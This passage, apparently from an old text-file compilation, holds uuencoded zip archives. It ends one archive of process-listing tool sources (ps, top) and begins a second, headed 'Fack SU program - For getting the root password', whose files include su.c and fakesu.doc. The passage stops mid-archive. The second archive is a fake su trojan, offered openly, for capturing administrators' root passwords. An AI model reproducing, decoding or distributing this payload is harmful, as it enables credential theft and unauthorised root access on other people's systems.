- M!```<@D```<``````````0`@`+:!^QX!`'!S+W!S+FA02P$"%`84````"`!H
- MA4L=[2;RL!8"``"K!```"P`````````!`"``MH%V(P$`<',O<'-D871A+FA0
- M2P$"%`84````"`!AA4L=\J)3_EH!``"K`@``#``````````!`"``MH&U)0$`
- M<',O<'=C86-H92YC4$L!`A0&%`````@`!(9+'7ZS"CSQ`0``L@0```P`````
- M`````0`@`+:!.2<!`'!S+W-I9VYA;',N8U!+`0(4!A0````(`/:%2QU3-?""
- M/@$``"("```,``````````$`(`"V@50I`0!P<R]S:6=N86QS+FA02P$"%`84
- M````"`!AA4L=KBQ3ILH/```D.```"0`````````!`"``MH&\*@$`<',O<VYA
- M<"YC4$L!`A0&%`````@`885+'=R=/V/"````90$```L``````````0`@`+:!
- MK3H!`'!S+W-T871U<RYC4$L!`A0&%`````@`885+'4//N6GZ`@``Q0@```P`
- M`````````0`@`+:!F#L!`'!S+W-Y<VEN9F\N8U!+`0(4!A0````(`(^%2QTO
- M1`.>F@```!(!```,``````````$`(`"V@;P^`0!P<R]S>7-I;F9O+FA02P$"
- M%`84````"`#7A4L=`&,*=E<<``#14```"``````````!`"``MH&`/P$`<',O
- M=&]P+F-02P$"%`84````"`!AA4L=>&_+5XT$``"*"@``#0`````````!`"``
- MMH']6P$`<',O=VAA='1I;64N8U!+`0(4!A0````(`(R%2QW"*U?`<P```)P`
- M```-``````````$`(`"V@;5@`0!P<R]W:&%T=&EM92YH4$L%!@`````Y`#D`
- *?`T``%-A`0````$`
- `
- end
-
- 4. Fack SU program - For getting the root password.
-
- begin 644 fakesu.zip
- M4$L#!!0````(`"\B1")UVD\.'0P``#DP```(`!``8V]N9FEG+FA56`P`DZ/X
- M,KH,]S+\`0``M9I;<Z-&%H#?\RNZ)@_*IF;&ZTTJ^[!.JC#",C42L(!\>\$8
- M6E*O$4WHQAK-K]]S&B0+A&@EFZV:&NL"7Y]S^EP;7?Q($IXOV/+SZC,A$YK3
- M,I8T)7$E^3J6+(FS;$M>MLU554GALA\OOKLXN(_E`[<N2KX^N)GE",-+5C1.
- M:5G3$#>F"Y93PA:$Y\2P'\A/G[\CA`1;(>F:U%<+(OB:2K:F@J3U]7+%A+KP
- MGI+_5$*239Q+(CF)WS@#84A)U95,,N#2LN0E@=M%O&PT^9XM<KB"1,9T&@7N
- MW#<M%.?[JONINICF*5MTY*T$RY<$M.5)_#G9VZ<AF(AP3:.C)TA(UX7<(D"N
- M*'FEVPTO4Y)RT"WGH`<O7[LLL"-H>`3B\(>#K$LJ7W[YYT<RL<)K_%N_)PM0
- MV2SC[:=_D#A/ZY>/,X\(9=K:>B&8D2RJ/%%F@M<E_;UB8#MU]TXW(JJBX*7$
- M+9(K+NB>T57:-QZC(#3,+X$UB2QGW!$:H>/)_(%LF%R1*Z!<I,L(_D0L7_#/
- MJ]^Z0'7QD>)H.+DME/8THVN:2T%8KCZ/2]"3""K1X9[!%,N25X48*77GHE+>
- MB=Z#VE(0@Y;DF>5R1$"VYR5+(SEJ/*1Q-3#KQ'?G7A"%1'W?\0-<%1?*>)S&
- M;\O1NSUS2E.!`K]04E8Y2E6!<\)"\`I076UAI:EKC(V[2>3Y]IT]M296UX1`
- MJ\6%E94!T1`"3*=<*!_))D*Z;"7Y<=!M>456\1MM]OHCB04$SUX#C)HX*7G;
- M(K?&G;5S[\M3P*O&>T`R=#\FB5CQ*DO1&)4`#_L!W1W6F&>R9%__=G*)Z+9W
- MD92CLFJIMZ($DRS(2P7:\_JS*.5%F<NN&11W['J^$_8:HVQ<&R#@(>!6?)/W
- M[VXO^7T'ATRM@AR3Q_-Z'1>CW9*8.7NL,)L9WFDSH_<)62XP.P[+%H3^36C/
- MK%-ZR[)*((76JLMU](T?>Y$"A;/HR77Z.8?;TC!:VX+BTJ^2EGF<U;&*<2F_
- MY?&:]N@>/CD&2#RH_6[WV\JW,'<03DYXT^:`EA'DG6P?QK$<";*!/PIK0MI=
- M%RR#_(`;@][0M49S<U\EF]F._="]/E*?#ML?D$*J+8@A@420-=9T_;*KF.\L
- M9VH'8836B>:.[3H#_G:EF/OLNK-,30"OF)MAVS*88S*>+_]PDN&+15^243Y:
- M^_B^SA4E?V,I)9X;@*$NR8+&$CH%R,E?$UI(]`I5)%2JKE<[RI>1NCFZ/*C4
- MQR;`)(P:,<QFT$RH(B0D[#*F):X*`"R2+U6F[BN_S3*]BZ"IJERP)8CWA\TE
- MV#?Z;B][UU+4WL?615W:XCH3+_8I.FWI]YKS#=Z"%DNA=">[RT''Y)5`^=N`
- M&5'I@_3VKUKQ#8-:#IEYP[(,\C(BVFU<2M,JP>9.8@'[A$D&"JFJ\-'8]BTS
- M1-?[C?R=_/J;6@J-N(FAH5FQ)5HV3E/85$'%\5U7/7=E?#-\TZ_U32U%&Q6K
- M'$V1?]>V<1?0ZYS/060'/X[J6J=:";6-Z"7U+NY;,_3;@I;9MKN7L$X8S0S3
- M=X/HVG>_6$,1B6L:3F##-M<=+EE`HA'M^`S"L1G=6L;8\H-V?(+:37]\1WQH
- M@&+8Q9^/!+KS?^X7(8',(N(%A?UE>9)5$(4O?->/J2UN:O95\Z8M%]:0Z-X.
- M;Z/@$7HBNS\_EVU<2I,LQO#>EYFNO%!5;.<=^==T/55/UX.A8.4)+RF9SXRC
- M)(V?#=\!MOY)E0N5IJ]8_GN$GE*)BZ2H\!4*AK'$H&V'[44?54(??-VWZL_1
- M3R=J`SA=`@&A$A='*^+,('8)DI(UAYJ!28@M('!SE3U?MA(D9R5\\T/&7BF9
- M<;B79[':VL`S?/,CQ(SZRLXES=3G=\;#W[JRW;O^&)S:GD!#;QL]?EVGK?<F
- M:3<-[3S&/.R+NC6X++)HWZ8C[?W-;F]5X)604(XJ\/NU@\U<+8<`UW7-R;WM
- M!$\8X[@E,(JI$;C=AZM+=N[HA8]_ELYX(C,='^X*I\?^?HG+.--@-Y516"MM
- MV]5RC.NI%>%%7:M>MO)-$DNPE%`[7#=HNW$9.G$R<>9H2`E]66^_9QHA[%\P
- M:(114Z39+BD_[P*=EFO&Q:AN:9IF!OT3.[Z4)%&V#]M6RV9&4]NQ-'HU4O])
- MO4"IT'HX-0=@K<T@=ZG4C".XC"&>R=2,9E80&!,KZ)'ZX-O^I'@P76#@7F!D
- M7U2%ZMY%01,&;3$NV,/V?->,YM[IA'O`AO)P!_-6G$)O4,1"U/D"S:1Z,?4%
- MJ'9X&--:*[@UQNY]=_+:>65G^"B28CO4?0>A9WJ/FA%F*S*^'*0\!E-W,J3Y
- M:%]=*KDN6@[7>%LEHQ6DRA[Z/(QNW2`<%O(*N5^QZAQ4[5[7FH<S[P',=^1:
- MRJO4;B=QLL*D\80-G2@89&LU>WA<L*^[<YA.2X#C\%357],P;ZVCW<%<"@HG
- MH'W3V92TR.)$]9'O4WU[$.\JT`".$I*"ORK9_P=X#1C,I\!\K<,#HA>&.UXR
- MN57.*P[>'PS-XJ,J>%5=D)]SEM#1KO@>S4VVB:%DN[Y]E->;HR7T%4QA^#J%
- MR:ED@#YR2@_Z2HAS\D&L/L'7F?B@4.%*)0O(N#3?=^[-D*Z&C`^8ECY\5/HT
- MC,YYDS./]G"\N+U`)Q95&[DW/J03R55O!,,U[D#\TLTED$9"-WSTNAD*@,N\
- MBO9G"7]TCW?\/>"0=FHNBQY<SW)VH]5^1`-9UC'T)4WQ@$Q5P]6``J-*8U)8
- M?%%EX`GK%YX='4:&EC^SH1MW+`O:E]9"O=O^1DMQL%^G=_X.&G(<)3Y<?K[\
- MY<,9C<&N%F[`)V'D&[TW'W1]W!U@<V`_6=@>>*$UTXP14127RV]1PJN##>I)
- M<%%D^).GR'3GCB;+-<0<"^O@@5*#=$[5T"-D'0)L,5@M&FH0^K8SL6\T=>,%
- M9A\5KP/$:R.P],=(+PD?+F/7IJNK8LFJY'QP&\Q;WW4U&Y"4VV(8XC]Z&D::
- M['JCP2T<FT--T,&179XN2SKL83`=3'Q+YUU`*C9ZDG>O)2TR#@/1`.9FZKJ^
- MAM%S;-IFG&JWWAE@Z&23#D'`QN;]6$M):<;6&L[8FMHS+:F9B891]4,-+0L;
- MII<M'LEH>-@_73\:X['&YGNF+F[W3'WP-LPSB6?QFEGV+SCOWW4R\9)B^M<(
- MZ.'P`/E?*R"Z+E^D\6#2PO`W9OQH8F=P$1ZFDI5A0*[#!Q'D`%O+6FTV$B
- M?":C7/)X"`=#7A@YH3OP)*EFL3.\VG;LL]R:B5@DC`VB`B,P;7N8@ZWR<-&8
- M63/M[`,4?%XY3`DL33I<\W3P&<C,'=]H"%6^CHM!QMS1/HPJ8.0<C!G/O=<$
- M2X&G9'@HE&*.8(F&IXY>,3=BHK!-';R"SOQM2$MO'EK.W;"6^,AIB('/FS03
- M+]7)`5NNE4.<E_B"<Q.?P,2'!Q\:FII$=:S?2TW[$?S;UW4>0E>A`WV%_HN.
- M*&290+>)L_$@R3>AWS1G^F>VT"WJ2+>:6HH44>0Z3.`Y6D[]&YEAD.7[NHX*
- M2&<H=I9F\$^#@7]:BN2#Y0P0H:LI9(I2Z3%S'6<K\'<NFE,NV[EQ_W^'9>\4
- M^4U3=<(G;=&I=(EGKD\Y5S@;]AZJM7\,@E-A_T]!#E%%?(%]QSD\SZB[#QUT
- MD>1XBJ\#WIA..-7#H*\\0SJ870R]9#`O,/4X24.#F<$.`SVN.?+6XE3RU^+6
- M<;*ZP/_..3&=&>9M_5_/J6F7BP_"]6+.U.^'M&*"MZ0O>AIXROCZ'!BZ'_C@
- M643E?[:CQV;1_HFG!CJ-U.&>%EG$<G4&SS/"6SU,R#1C9Q@Q",=36V_%^J#H
- M'!P>$NEQ>-86E_'Z#"(^\#-\8W865/#D]9Q<@]3`-;^<D6P45AT?-C^)U$:.
- M@C\&H37#RJ$/G\/'\GJQU=.&<X1&Y#D>T##/<`)5Y<XB0JW3XJJ<@9?J<7/'
- M!B_5XM[BK#HG'N^,Z5P?C?61'X10&9=;\L.G3'UP]"2^2>;7]0'@\#ZGR^00
- M"&]/XL83W=#$#E'L),C68%[5[ZX.4.J#D[@O.-EID%P<\K@X"7/['V`?CCXM
- M@\';DRSH[W6P^MGK(4]]TO<S5P2JYZV:KJ_*6[PJ/RW?7/?KHVW145=]<!+X
- MZ#4J_Q=02P,$%`````@`\WM%(H>YN^Z.!```M`D```<`$`!E<G)O<BYH55@,
- M`*:C^#(Y_/@R_`$``*U644_;2!!^;G[%J$C%1B84**`>UX>4@S82!!0[JGAR
- M%WM,5G+6T>XFE%-__'VS&P@Y]7I]Z$MB[\[.?//-MS/>VR&VMK/]*>WN4LU5
- MJZSRNC/4=#9N[5J>=]9K<T_-PE2RV2.BLV[^:/7]U%-REM+^^_='F?P>TX5E
- MIKQK_(.R3!?=PM3!8T9#4_5[<K:8:D=SV]U;-2,\-G+$K8Z<TF.WH$H9LEQK
- MYZV^6W@F[4F9>@^H9EVMFT?Q@S5X9TM^RN39SAQU37CY-)K0)S9L54LWB[M6
- M5W2I*S:.22&TK+@IUW07_,B)_X)]2JRQ;VG)U@DQ!QD!1**\X+34S<4J%3?*
- M/%*K_-KVQ]FNDZI)FQ!\VLV1P!0^D=*#;ENZ8UHX;A9M)BY@3%^&Q>?K24
- MT2U]&8S'@U%Q>PIC/^VPRTN.KO1LWFIX1AI6&?\(1L3#U?GX[#..##X.+X?%
- MK:1P,2Q&YWE.%]=C&M#-8%P,SR:7@S'=3,8WU_EYGRAG@<7BX">,-J$H8*UF
- MKW3K8MJWJ*(#MK:FJ5HRJEFQ7@*9H@K:^?]*!4K;#KJ3)&&\IO&4=$.F\QD]
- M6`UQ^.ZG-0P<BOHR.GI/!8,BIIM654R[E"_$P^'AVXP^=LZ+4*\&]/9@?W]_
- M=__P[4E&DWP`+G;V>KTMW4!O#9V/Q]?C\G/9VT+.C3:\7L'2RJ@LE5\5NBQ[
- M>SM1"`TKOP`Z/*HEV%)WP`(9W%?5DVP<'?2/1.U133'V%DG.90F^SLJ2_J0#
- M^OZ=DN>%#Q^P\N;-D\75<`0\8G>4BF%9YL5X>%:4@U$^+`4X/4'?P)GD<ZY2
- M`EJP!/7$R&QPY6(*8K^+,GBN1,!+935D%B[>5PAAIOQV@/YU;K7Q#5Z>G+M0
- M4*2NJHKG/MR^?Z=]W']'"3<-G$,K[2.63M+?1L5)NIEWQ(NM^+"Y&?%C,SZL
- M:=A:_8=*K^QK"9\7?R%\&D/'EYZ0=B,.(/L9.Z?N.<KY:Q/]4N(\6IC-Y!Y>
- M#8J,^OU^NGT:^EM0VFAR)6HQG?F;;9<!;-MV#[%3P-'K/^AU8`A=)31L2N*A
- MM!]DWU!>#(I)ON%#FJ4VRH?K_=R<(C#^!M=)/)1NKY3/WW#$T++3-:VB2%+.
- M0\TN(WG&LEG,,MQNXSQ54V5I)Q(;<Q(TM*DV2I(754C6I&=TF-&[-$U/?Q`:
- M'LI6BO1K$(R:<=9[]>H5HB^,T_<F-%Y/XL-TOPLPYM]Q!(R2@_71Y/(R6W$5
- M6GK3+MP4<&OTZTQX-U%:A*$2-?"R&!(\(`_]$FTPU%B1FZ-MH2C7,I0>M..-
- M&)7"CW1*.?XTKI^'Q!S#?<9@TR%_YUG5L;HO&4YV(L<!6BE@!$5*B>Q*=I!_
- MB^;\4@E8_E%UL/Q+GF'W?*>>VF3H*Z$U"M;*\HR-M`Q6%4:!GC%T*MZVQ4"R
- MYLU<-@H=XZZN7UEA+OA8IKP#'7#FZ`'7$GU,)DF85AC%,TP#U(976<XQUR6O
- M?ISH0O`S2"C(VZZ%FRF'CX4PK/"A$O`[;F.SA!<,K0V<:WB(5")&X$YH#H1(
- M(\:1Y_$B)_\!4$L#!!0````(`+I,12+5AMY/@@(``,X$```*`!``9F%K97-U
- M+F1O8U58#`!/J?@R3ZGX,OP!9`!M4TUOTT`0O>^O&$JE@I0X`BXHJ(>J"K2'
- M%M0D((00VMAC>XF]:^VLF_K2W\[,KI.T0`Z1]GGFO?EX\U%O$99KV`QP6QK[
- M'J9@IJC4]=WE'&8M5>FYT#2`)G@S>3MY!UF6*759:ULAA!JATZ$&8\%9!%=&
- MJ"?TH//<]380(SK`X'JH]3T*C,2@B[@2G!#!$&<96TDYI7<M>-2%O)G/>*@-
- M!><'*$V#-)'LV@302;PTGH)Z+M,U.L<B5D,]!.]^:QNSN=3@,H`LH&_!><BP
- M:46^<JYXH=2-S(1ZCR*"!:L(1W#=OCGJLSPQQ1[&`8CPSC0-;#`UHBAU..:,
- M%<20`AL,TC)A4X*V!?`[QG'3C4Q@Y_P62BZ.0468.XX)?N#!9QM-]:_.NUA!
- M:ZHZ0./<%AJSE7T8FBOU$IZ%"?!I5-"-T8045<O>YL$X2\J4\`.F)3S.8J+/
- MX><'";<*QE]V_';`2B/,:UDV=9B;TN2`]MYX9UNT(6I0T#[T'7`IE=<M*?7E
- M8G5U?BK_\].KSS>+V<98M;C]>IY>>Y'U<G%W>W&S.#\Y40H?.N<#[#'@<!`&
- MI;[SW/.C&:,5>!96MC.'I)5X9=_SOW65^L9=IAT-/)6B92?[WIX1G"W79\#K
- MCRMC*`8MU]-QDR8!D585QF,^&E0*D,X]QIH/'N@T$>^U`+'3T+$Y=WQ3.QY6
- M-8E[7B5BMNLX++9!WQ2CGWNQ>VV*`@\^CK2ST';P1-_Y>%-1EGT3M+&4O.5<
- M.!;QRATN-('%ZU05G\9U&?O6I+B<?9!GEV,TI/T/W7Y.8F21WUJW2WY+Z<KJ
- M%C-8[;/#/[VFHR!FBE?Q]'HL/@2Q?Y10U=-;.1)DZ@]02P,$%`````@`XWM%
- M(KNK&>,B"```3A8```P`$`!L:6)G971T97AT+FA56`P`NZ/X,AG\^#+\`0``
- MK5AK<]I(%OUL_8H;IVH&7!C;R<Y,I5A/#<;89@NP"_!F7;-;VD9J4-=*:DIJ
- MF6$S^>]S;DL"\7"<[(XK`=1]^S[.?;;.3BA4T[DT1OYFF@&=GM)`IJF82_*$
- M$:&>IS33":G8R"061NE8A.J_]D?3(:*.7JP2-0\,U3IUNOCPX8<&?_Y(-XF4
- M--8SLQ2)I!N=Q;X]U:!>[#4=9Q*HE!:)GB<B(OR<,7U:T+=HI3-H$%,B?96:
- M1$TS(TD9$K%_!GTB[:O9RL$"^,J$3"`)&D8IZ9E]N!T^TJV,92)">LBFH?*H
- MKSP9IY($Y/)*&DB?IBN'R5_2MD5283^A9YFD>*9W#8+XFC"L84)ZP51U1\0K
- M"H79$!ZP<&.(#SRMEH%>0.\`W)4H4A325EJ9QE8<,!)7WL3>[N'R?4'C[1
- MQ_9HU!Y.GEJ@-('&KGR6.1\5+4(%MM`^$;%9`05GT!UU[D#?ONKU>Y,G5ONF
- M-QEVQV.ZN1]1FQ[:HTFO\]AOC^CA<?1P/^XVB<:2%9+.%_";6?P!DR^-4&$*
- M4Y_@K10JA3X%XEG":YY4SU!(D(<`>=TI#D(MGEO#0+G!K45J1K$V#5HF"A%@
- M-.VYR]D-K@;]\($F$IA(>@B%)^F4QAD??__^O$%7.C5,.FC3^;N+BXO3B_?G
- M/S7H<=R&_2=GCG-V0E?2$_`#P>.ICA"8J]1(1%=--N=-2`Y%HM(Z+:7=-BJ2
- M:6XY%%2Q%V:^Y.Q@7<NCR#-D48@D0P`N)7R-;VOK3$%1L+(,++*>9N5_8Q8%
- M-P;$2(^-)#'5SQ*Z7B$$JA("*3@7(IN."YD$8I&2"%/-?'PY4[$DM]^[Z@TG
- M??>.4XF/)W+&(DOY,*`097G;8\J*9=("H;?PRIN<HT^U#<\Z_?[[SL9M=S+I
- M_F."O9=/.6_WU3NZ<-[*&%GNO*WLK;EAF_WT498G42N$[ZN\0@&2:*I#-B95
- M<UZP2;:TR56&HD67<8YD;&SX<)R6M=`:NA;M/HZ[+LZXA0)TP2`4KODK''!F
- M5@N9-H.?<W#NVG_ONOW[3KO?=>]@WIHTU)X()=,5UEEZB($,;Q%F*?]WH`#*
- M+1UWCNG3FA#F_O(+X8'5A(]0G'FA\$?,/)#2[<&8Y3&_\>2ZX[IX*C'*MVLB
- MF2-V^1-[,D3VO4!28\\43BB4*"4-'_O]7,[:HQ4#.`PVR\!M6P\^3+7:LU8^
- MG=3IO+ZO1TYR?E`!>I/#VW$'J&;MV^Z8L;'E]EF$F2U,Z`5@DUI?3R4B6]ER
- MG=>APL>UNLT!?_W($3'+8IME17Y5LI]\#88H1D6BL+S"2!!?YWHK8_->H_)A
- M3V2AR74JXJDTKZ([U4XOZIMH@"77TD-]L1&9=]]"P=,L5?'\%(T9"VG>DV<H
- M;U9Z8NOM+-$1*_`W%:&1K[`:S[^OU)Y<#?2A#/GM1NG<1>P[GW#$@S!#7B`2
- M.N&-EL.UIR"*LV@JDY;SN>54XKO3GB`="O`E)]92P]I$B6D(I$0BUT%0]#N1
- M&1W!,.1`N$+OI84^-?@W#9NI]%GQN6T/W")M5?PWC#U5OJ7POL^U+Y(C5WC'
- ME/P'J'_]5ZLD5)5E-Y3QW`2M+;QO`'%%,\*Y1'AE08CR>2BM5/I8H\.)T'H:
- M_38-\^J!>(BE]&TX]*`<RG%>GPV[`:&1RG#&5+R8R!3!L5UF"C^[L=:+VM@D
- MR$#^M$KVM?X/90L:C&][UR6>7I8D;'49:M'V[&:#IT+'"E<CKRA&T-8V69"C
- MD3:@FLD2A%XA*E>[5G0#EF,-AZ+U;8?8V"EL*`H)LGPKL-@/RJ_76P</N>ZK
- MQUZ$XOI^T.X-A^U!]W]&8=<4_Q5;?$2,BF,1R09]C97^JV96.#I'^'N)[9^`
- M`B%[N[?WHR>&XV4(O/\/@]P,FX$N%)%SG:SV<?&^'9B#PFA?D(5J+,U7I0O*
- M]@9`>[U!8E0@Y03/PK#,D$,\#Y\Z/N8S*:NAJ9)(7%^.RP)S?`!_1B6W_75D
- M]G#='/X:8,NX&B^DA[M5/C&]$E/EE<46CGQ:I>O>R-*BB@?V9B;B,CJ+/II'
- M&V%D%S05Z:&X0[ORO\7VPU'AJ^0@,-O<OR7JOB#!]L7NL'V%D6_8'^=8YA<%
- M>M=\CZ$AK0X?ZT^)ZWR3-01RKE1F]#::QY:M61,OG`P1?.J+B`VY2NB."1
- M9?*Q45GZ"[-@P6O^Y1RRGJ**)D[??4>U?*4<<3'#V>?K3K&"1K09T,JA:6!K
- MTM%1B0_1/QW[M:Z>-9[E<-VRA%46Z\'KNE)$*ORVV:T1VB=O5.MY+@+V[0Z@
- M;.+Z]^4EO:LL#'K#^Q&6?[ZDG];#Y#S44XP#Y41#FWF/`SK4PD?902HT/:"*
- MFP@W?\Q]?.-HL-++0-H4$-A9;G(&[N"S$FHO`^4%]CW'E-]+I-I3=O:Q]V#,
- M2#L31KJ5*;;8Q:$=;<#<]6*3M*SQ:X"]%Q%N4*>LDEM(UUR7V<?\#L-UC_;\
- M6OMT=+2_2NN$R,>:UB$2N`3<IYD*#9+.YI&(C;N@(H8..)WHTZZT(XQ3/*>M
- M)5;P<=W68=IU7V`/0'3&HW-!O2%F!=_0#D=.@P-'Z<WE'OCUDM%!M?EOE_?E
- M(:)*K(.D5O%=O5%BA1^=39?;%[.O[[ZZK1W)G_=U+OW)I[\$=*'W'@?[Q3>[
- M@QM4Y?_--F^QV@V\K=W/=;Y&EO=(*B^2]L:YN9)M%[12Z&;_"]7J`/%79=[^
- MN4U7JD+`=0+U!]=A0FW"I![P?:)ZG]SN:%M"KXL6]2*3G1<,4SE7]N(C%VK[
- M%</N6XK/FTMY_OT'4$L#!!0````(`.A[12*[JQGC(@@``$X6```)`!``;&EB
- M:6YT;"YH55@,`,RC^#(C_/@R_`$``*U8:W/:2!;];/V*&Z=J!EP8V\G.3*58
- M3PW&V&8+L`OP9EVS6]I&:E#72FI*:IEA,_GO<VY+`O%PG.R.*P'4??L^SGVV
- MSDXH5-.Y-$;^9IH!G9[20*:IF$ORA!&AGJ<TTPFIV,@D%D;I6(3JO_9'TR&B
- MCEZL$C4/#-4Z=;KX\.&'!G_^2#>)E#36,[,4B:0;G<6^/=6@7NPU'6<2J)06
- MB9XG(B+\G#%]6M"W:*4S:!!3(GV5FD1-,R-)&1*Q?P9](NVKV<K!`OC*A$P@
- M"1I&*>F9?;@=/M*MC&4B0GK(IJ'RJ*\\&:>2!.3R2AI(GZ8KA\E?TK9%4F$_
- MH6>9I'BF=PV"^)HPK&%">L%4=4?$*PJ%V1`>L'!CB`\\K9:!7D#O`-Q@R5*%
- M(4TE9:F<96'#`25][$WN[A\GU!X^T<?V:-0>3IY:H#2!QJY\ECD?%2U"!;;0
- M/A&Q60$%9]`==>Y`W[[J]7N3)U;[IC<9=L=CNKD?49L>VJ-)K_/8;X_HX7'T
- M<#_N-HG&DA62SA?PFUG\`9,OC5!A"E.?X*T4*H4^!>)9PFN>5,]02)"'`'G=
- M*0Y"+9Y;PT"YP:U%:D:Q-@U:)@H18#3MN<O9#:X&_?"!)A*82'H(A2?IE,89
- M'W___KQ!5SHU3#IHT_F[BXN+TXOWYS\UZ''<AOTG9XYS=D)7TA/P`\'CJ8X0
- MF*O42$1733;G34@.1:+2.BVEW38JDFEN.114L1=FON3L8%W+H\@S9%&()$,`
- M+B5\C6]KZTQ!4;"R#"RRGF;E?V,6!3<&Q$B/C20QU<\2NEXA!*H2`BDX%R*;
- MC@N9!&*1D@A3S7Q\.5.Q)+??N^H-)WWWCE.)CR=RQB)+^3"@$&5YVV/*BF72
- M`J&W\,J;G*-/M0W/.OW^^\[&;7<RZ?YC@KV73SEO]]4[NG#>RAA9[KRM[*VY
- M89O]]%&6)U$KA.^KO$(!DFBJ0S8F57->L$FVM,E5AJ)%EW&.9&QL^'"<EK70
- M&KH6[3Z.NR[.N(4"=,$@%*[Y*QQP9E8+F3:#GW-P[MI_[[K]^TZ[WW7O8-Z:
- M--2>""73%=99>HB!#&\19BG_=Z``RBT==X[ITYH0YO[R"^&!U82/4)QYH?!'
- MS#R0TNW!F.4QO_'DNN.Z>"HQRK=K(IDC=OD3>S)$]KU`4F//%$XHE"@E#1_[
- M_5S.VJ,5`S@,-LO`;5L//DRUVK-6/IW4Z;R^KT=.<GY0`7J3P]MQ!ZAF[=ON
- MF+&QY?99A)DM3.@%8)-:7T\E(EO9<IW7H<+'M;K-`7_]R!$QRV*;945^5;*?
- M?`V&*$9%HK"\PD@07^=Z*V/S7J/R84]DH<EU*N*I-*^B.]5.+^J;:(`EU])#
- M?;$1F7??0L'3+%7Q_!2-&0MIWI-G*&]6>F+K[2S1$2OP-Q6AD:^P&L^_K]2>
- M7`WTH0SY[4;IW$7L.Y]PQ(,P0UX@$CKAC9;#M:<@BK-H*I.6\[GE5.*[TYX@
- M'0KP)2?64L/:1(EI"*1$(M=!4/0[D1D=P3#D0+A"[Z6%/C7X-PV;J?19\;EM
- M#]PB;57\-XP]5;ZE\+[/M2^2(U=XQY3\!ZA__5>K)%2593>4\=P$K2V\;P!Q
- M13/"N41X94&(\GDHK53Z6*/#B=!Z&OTV#?/J@7B(I?1M./2@',IQ7I\-NP&A
- MD<IPQE2\F,@4P;%=9@H_N['6B]K8),A`_K1*]K7^#V4+&HQO>]<EGEZ6)&QU
- M&6K1]NQF@Z="QPI7(Z\H1M#6-EF0HY$VH)K)$H1>(2I7NU9T`Y9C#8>B]6V'
- MV-@I;"@*";)\*[#8#\JOUUL'#[GNJ\=>A.+Z?M#N#8?M0?=_1F'7%/\56WQ$
- MC(IC$<D&?8V5_JMF5C@Z1_A[B>V?@`(A>[NW]Z,GAN-E"+S_#X/<#)N!+A21
- M<YVL]G'QOAV8@\)H7Y"%:BS-5Z4+RO8&0'N]06)4(.4$S\*PS)!#/`^?.C[F
- M,RFKH:F22%Q?CLL"<WP`?T8EM_UU9/9PW1S^&F#+N!HOI(>[53XQO1)3Y97%
- M%HY\6J7KWLC2HHH']F8FXC(ZBSZ:1QMA9!<T%>FAN$.[\K_%]L-1X:OD(##;
- MW+\EZKX@P?;%[K!]A9%OV!_G6.87!7K7?(^A(:T.'^M!@_B>M\DS4$<JY49O
- M0VFL>6K5D3+YP,$7SJBX@-N4KHC@D67RL5%9^@NS8,%K_N4<LIZBBB9.WWU'
- MM7RE''$QP]GGZTZQ@D:T&=#*H6E@:]+148D/T3\=^[6NGC6>Y7#=LH15%NO!
- MZ[I21"K\MMFM$=HG;U3K>2X"]NT.H&SB^O?E);VK+`QZP_L1EG^^I)_6P^0\
- MU%.,`^5$0YMYCP,ZU,)'V4$J-#V@BIL(-W_,?7SC:+#2RT#:%!#866YR!N[@
- MLQ)J+P/E!?8]QY3?2Z3:4W;VL?=@S$@[$T:ZE2FVV,6A'6W`W/5BD[2L\6N`
- MO1<1;E"GK));2-=<E]G'_`[#=8_V_%K[='2TOTKKA,C'FM8A$K@$W*>9"@V2
- MSN:1B(V[H"*CB=Z-.NM".,4SRGK256\''=UF':=5]@#T!TQJ-S0;TA9@7?
- MT`Y'3H,#1^G-Y1[X]9+10;7Y;Y?WY2&B2JR#I%;Q7;U18H4?G4V7VQ>SK^^^
- MNJT=R9_W=2[]R:>_!'2A]QX'^\4WNX,;5.7_S39OL=H-O*W=SW6^1I;W2"HO
- MDO;&N;F2;1>T4NAF_PO5Z@#Q5V7>_KE-5ZI"P'4"]0?784)MPJ0>\'VB>I_<
- M[FA;0J^+%O4BDYT7#%,Y5_;B(Q=J^Q7#[EN*SYM+>?[]!U!+`P04````"``A
- M?$4B.1&0DW`'``!6$@``!``0`'-U+F-56`P`WJ/X,H[\^#+\`0``A5AM;]LV
- M$/Y<_XJKBS:2X[<`PX`E\S`C29L,61SD9<.0!)XB4;86B=1(RJY7Y+_OCJ0L
- MR=8P(VVLX]W#X[T\1^5#PL.TB!AT0\'C9#%<=CL?2MF/2D>)&"Y_JHD63(M<
- M-V5JHT9ZDS/5%.?K:,=6YDU!P1/<8@=,RX0OFE!=W$&SC)SK?(A8G'`&][>S
- M7Z;7\[/+6^B.EB)CHT(Q.1IJ)K,1Z24Q6-7(NYC^=CZ_^^/N:O9E?N'#IT]M
- M*W[S1*E8&!]8JAB,>O"^`0*]$>V`,.!$=P^GI^=W=YT/!6^3,AXE\8[)Y^GE
- MU</M^8[)5MIF<CV[GM_.9O<[-I78&9E?[6[7PLJD%-)&U>YBE&^F]Q=W\XMZ
- M)@.]M!FQ\!T$OE\RH(B#%O#"0DP`X(Y<8&H2!2IG81(G+!J""95+VMGYY^G#
- MU?W\X>X<TR:%T+AWN`PD]$*YR35X_HE[QD++`Z6:$MI0+5F:&O%*)!&@1RU2
- MM:OK,%X"Q7B`OE:P7[,@3458ETBV)\*RC(K<0K&O6&0<[$J/\54B!3_91L7@
- MZR5&(9=B(8,,UH$"67!8)WII`V)MW?J<+*S]I0GA/TR*/D2)RM-@@U$.%AA4
- M'@N9!3H1'`*.Y_Z::(NE-$I#5-"@EF(]QS/G^VBY)`6-_JTP+H2"/VC*HT!&
- M(`J=%_I_@)UA"S8EBJ#_',0'@/Q`\%@7)%+%B\G"'F0<*#W'9ZF+%G=5DA5I
- MH!D$@)V8<#1!"@C0TQC^*I0&8XE,@0KM^"7"W-CC#FX-,UF$NO02:0_!4L$7
- M*%"/SS#I?.L`?$,^S#(,1[</DOU=)))%\T`NBHQQW8=Q'P["@[>^T:2#H!H7
- M-85/]=/UX<BI4FKV5+=)J_2,R_N*C1-5VKED6.LK-G"E2.J[QM</5U?HM[,P
- M$?OOHZGR:"[C[2Z[Q:T?8V-,/V^=-^HX$UI;Z7&2DMNAJ=])=Z2S?#1D:?;]
- M#UV;^ZEZ->5B*`4K'=-*5;46,AHB.-QB0V//'1');/46R8K9P@N%E`RS6MH8
- M"/15;N#F=_(.QI:>J+2W6-2/@LI>O5(E-;<E?6K:EPT\7)[!F$!0`:4WO\,2
